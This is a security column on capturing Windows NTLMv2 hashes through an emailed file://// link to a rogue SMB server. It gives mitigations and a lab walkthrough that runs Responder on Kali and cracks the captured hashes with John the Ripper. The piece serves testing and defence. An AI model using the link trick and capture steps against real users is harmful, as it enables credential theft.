A few months ago, I participated in a public debate on password policy with my co-worker and friend, Kevin Mitnick. It was a heated back and forth discussion, with Kevin arguing for far longer passwords than most expert sources, including me, recommend. I just wasn\u2019t buying his arguments.Then he sent me an email that, when I opened it, sent Kevin my Microsoft Windows password hash, which he then cracked. It was a knock-out punch. I didn\u2019t know it was possible.I was a bit embarrassed, not only that didn\u2019t I know that it could be done, but it was widely known for years. That means red cheeks to any computer security professional, but since I fashion myself as a Windows authentication specialist, doubly embarrassing. Since then, I\u2019ve learned that most computer security professionals don\u2019t know that it can be done.Cracking the password hash this way is possible because under easy-to-simulate circumstances, embedded links in an email can cause your computer to try authenticating to a remote server. A remote server might then capture your computer\u2019s authentication attempt and use the resulting captured information to find your password hash and begin cracking it.Said more clearly, I can send you an email and capture your password hash, and then crack it to your plaintext password.How is capturing a password hash through email possible?When a computer (via software) attempts to connect to a web server, it often tries by default to connect without authenticating. After failing one or more times, the computer is often prompted to log on using the current active logon credentials. Computers supporting Windows integrated authentication might attempt to automatically log on using the user\u2019s Windows authentication credentials. The user won\u2019t know that anything has occurred. If the automated authentication fails, then the user might be prompted for a manual logon.Automated integrated Windows authentication is a much desired single sign-on (SSO) feature, especially for local resources and previously trusted servers. This feature allows users to connect to web servers all over their corporate environment without having to submit logon credentials each time they want to connect to a different server. Most of today\u2019s popular browsers support it to varying extents.In the late 1990s, malicious hackers abused this feature to capture users\u2019 Windows authentication credentials. They would send the user an email, have them click on a link (or have their email client silently respond to an invisible, embedded, transparent one-pixel web beacon), and the user\u2019s computer would invisibly connect to the rogue server. If Windows integrated authentication was enabled, as it usually was, the user\u2019s computer would send out the user\u2019s corporate credentials to the rogue remote web server.Actually what is sent is the user\u2019s LAN Manager (LM) or Windows NT LM network authentication challenge response, from which the user\u2019s LM or NT hash can be computed.Microsoft responded by disabling the default sending of the user\u2019s Windows authentication credentials to servers off the local network. Microsoft enabled this new default around Internet Explorer version 4 or 5. To this day, you can open Internet Explorer\u2019s advanced configuration settings (Internet Options, Advanced, Enable Integrated Windows Authentication). This stopped these types of attacks, or so I had believed.Turns out that there are still ways to trick Windows (and other Windows integrated authentication-supporting software programs, like Google Chrome) into sending the NTLM network authentication challenges to remote servers. In the case I\u2019m aware of, it involves including an embedded link with the following format: file:\/\/\/\/\/. For example:file:\/\/\/\/contoso.com\/index.htmlIf you replace contoso.com with a valid remote server domain name, the software will attempt to authenticate to the remote server using SMB\/NetBIOS with an NTLMv2 connection (by default) over TCP port 445. If you are running a NetBIOS listener, which can respond to NTLMv2 connections with a valid SMB\/NetBIOS challenge, the server will get the client\u2019s NTLMv2 challenge response, from which the user\u2019s NT hash can be calculated. From there it\u2019s just a matter of cracking the hash or alternately replaying the challenge and response to try other remote deviousness.Unless you have TCP port 445 blocked outbound, this works regardless of what the Windows integrated authentication setting is in Internet Explorer. After Kevin\u2019s demo, lots of people contacted me for more details. At the time I didn\u2019t know a lot of the details, but now I\u2019ve been able to test to confirm what does and does not work.The biggest finding is, yes, clicking on an embedded file:\/\/\/\/ link does transmit my NTLM response challenge to a remote server where my NT hash could be cracked. It works:On the local network and remotely across the internetIn default configurations on fully patched systemsWith Windows Firewall in its default stateFor both local SAM accounts and Active Directory accounts.The remote attacker gets your machine name, domain name and NTLMv2 challenge response. It will work in most corporate environments. That\u2019s the bad news.Possible solutions to this attackThe good news: On a fully patched system, I could not get any iteration of the attack to work by simply opening an email and not clicking on a link. I did see an older attack mentioned in a Microsoft patch that would work using RTF emails in Microsoft Office 365, but it appears that hole is closed. That\u2019s good, because no one wants to simply open an email and get exploited. Of course, we all know that getting a user to click on a link isn\u2019t that high of a bar, and now you know that it can possibly lead to the user\u2019s corporate password being compromised.One new friend, Rob Tompkins, a great cybersecurity analyst, did a lot of testing of his own. He confirmed my findings and tested it across more software programs. He had some interesting prescriptive conclusions. His biggest was that even if you block TCP port 445 on the corporate network to prevent rogue outbound SMB\/NetBIOS connections, if a mobile device didn\u2019t also have the port blocked on a local firewall, it would successfully transmit its NTLM challenge response when it was off the network. That\u2019s an important note to appreciate. Rob also found an AlienVault rule\/signature to recognize these types of attacks to protect their customers.Install the Microsoft patchIn November 2017, Microsoft released a related patch and a registry setting that is only available for Windows 10 and Windows Server 2016. It requires that you use and enable Windows Firewall and define what networks are and aren\u2019t allowed to use NTLM SSO. These requirements mean that a ton of organizations that can\u2019t use it. Additionally, I read of some anecdotal experiences where companies that did not accurately define the allowed networks had service interruptions, so proceed with testing and caution.Use a strong password and block unauthorized authentication portsNothing beats a strong password with enough entropy that a password cracker can\u2019t crack it no matter how powerful their cracker is. That should be defense number one. It also goes without saying that you should block unauthorized outgoing authentication ports, such as SMB\/NETBIOS using your normal filtering methods and filtering out file:\/\/\/\/ monikers can\u2019t hurt either.How to test for this vulnerabilityIf you want to experiment to see how vulnerable your organization and its software is, you can quickly set up a two-computer lab, Windows client and Linux server, and start testing in about an hour. Here\u2019s how.First, do yourself a favor and get Laurent Gaffie\u2019s Python-based Responder utility. Responder is an awesome tool to play around with to see network-based password hash theft in action. It acts as rogue server (web, NetBIOS, SQL, FTP and LDAP) with the ability to automatically \u201cpoison\u201d LLMNR (a Microsoft Windows local name resolution protocol), NetBIOS and multi-cast DNS (mDNS). A ton of videos on the internet show people using Responder to poison and capture NTLM challenge responses.If you want to save yourself the time of setting up Responder correctly, download and run Kali Linux and do the following:Log in as root, password is toorClick Applications menu, choose 09 - Sniffing and Spoofing, and run ResponderThen run responder -I eth0 \u2013v (note listening IP address)On a Windows computer:Open File Explorer and connect to file:\/\/\/\/\/test.htlm (or any file name)Responder will get NTLM challenge responsesTo crack hashes, back on the Linux computer:Start terminal sessionEnter cd \/usr\/share\/responder\/logsRun John the Ripper to crack the hashes in the log filesjohn HTTP-NTLMv2\u2026 or john SMB\u2026.God, I love hacking! I never have more fun than when I explore what can and can\u2019t be done using a hacking tool. Of course, learning that clicking on an embedded link in email doubly reinforces that I\u2019ll never do that in real life. Turns out it can hurt you.